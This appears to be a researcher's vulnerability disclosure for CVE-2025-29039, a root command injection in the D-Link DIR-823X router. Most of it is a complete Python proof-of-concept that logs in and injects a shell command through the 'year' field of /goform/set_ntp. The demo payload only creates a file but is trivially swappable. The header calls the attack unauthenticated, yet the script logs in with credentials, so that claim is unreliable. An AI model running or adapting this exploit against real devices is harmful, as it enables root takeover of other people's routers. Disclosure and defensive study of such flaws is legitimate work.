- Affected Firmware: 240802
- CVE-ID: CVE-2025-29039
- Root Cause: By analyzing the webs file in the bin directory, I found that the function 0x41dda8 contains a command injection vulnerability.
- Impact: Remote unauthenticated attackers can execute arbitrary commands as root.
- Vendor Website: https://www.dlink.com.cn/
- Affected Firmware Download: goahead
During my internship at Qi An Xin Tiangong Lab, I discovered a command injection vulnerability in the Dlink-dir-823x router.
By analyzing the webs file in the bin directory, I found that the function 0x41dda8 contains a command injection vulnerability.
The command injection can be triggered by the year key value, which leads to a system command injection.
It can be seen that there is a command injection in line 68, and its injection content is determined by the five fields of year, month, day, hour, and minute. To trigger this command injection, ntp_zone_val, ntp_zone_name, and ntp_client must all exist and ntp_client cannot be 1.
Use the following command to simulate with qemu-aarch64-static.
Note that before this, it is necessary to ensure that the var/run folder exists. If it does not exist, create it.
sudo chroot ./ ./qemu-aarch64-static -- ./usr/sbin/goahead -fThe content of the poc.py file is as follows:
import requests
import logging
import argparse
import re
import hmac
import hashlib
logging.basicConfig(level=logging.DEBUG)
def extract_cookies_from_response(response):
cookies = response.headers.get('Set-Cookie', '')
sessionid = re.search(r'sessionid=([^;]+)', cookies)
token = re.search(r'token=([^;]+)', cookies)
sessionid = sessionid.group(1) if sessionid else None
token = token.group(1) if token else None
return sessionid, token
def send_get_login_page(session, host_ip):
url = f"http://{host_ip}/login.html"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
response = session.get(url, headers=headers)
if response.status_code == 200:
sessionid, token = extract_cookies_from_response(response)
return sessionid, token
else:
logging.error("Failed to get login page.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
return None, None
def hash_password(password, token):
hashed = hmac.new(token.encode(), password.encode(), hashlib.sha256).hexdigest()
return hashed
def send_login_request(session, host_ip, username, hashed_password, sessionid, token):
url = f"http://{host_ip}/goform/login"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"username": username,
"password": hashed_password,
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def send_set_ntp_request(session, host_ip, sessionid, token):
url = f"http://{host_ip}/goform/set_ntp"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"ntp_zone_val": "0",
"ntp_zone_name": "0",
"ntp_client": "0",
"year": "';touch hack_set_ntp.txt;'",
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='HTTP POST Request Example.')
parser.add_argument('-H', '--host', metavar='host', default='192.168.0.1', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
args = parser.parse_args()
logging.info(f'Host IP: {args.host}')
# Get login page
sessionid, token = send_get_login_page(session, args.host)
if sessionid and token:
logging.info(f"GET login page request sent successfully. sessionid={sessionid}, token={token}")
# Hash the password
hashed_password = hash_password(args.password, token)
# Send login request
response = send_login_request(session, args.host, args.username, hashed_password, sessionid, token)
if response.status_code == 200:
logging.info("Login request sent successfully.")
logging.debug(f"Response: {response.text}")
# Extract updated sessionid and token from login response
sessionid, token = extract_cookies_from_response(response)
# Send LAN settings request
response = send_set_ntp_request(session, args.host, sessionid, token)
if response.status_code == 200:
logging.info("LAN settings request sent successfully.")
logging.debug(f"Response: {response.text}")
else:
logging.error("Failed to send LAN settings request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to send login request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to retrieve sessionid and token from login page.")
if __name__ == "__main__":
main()
It can be seen that the successful creation of hack_set_ntp.txt means the attack is successful.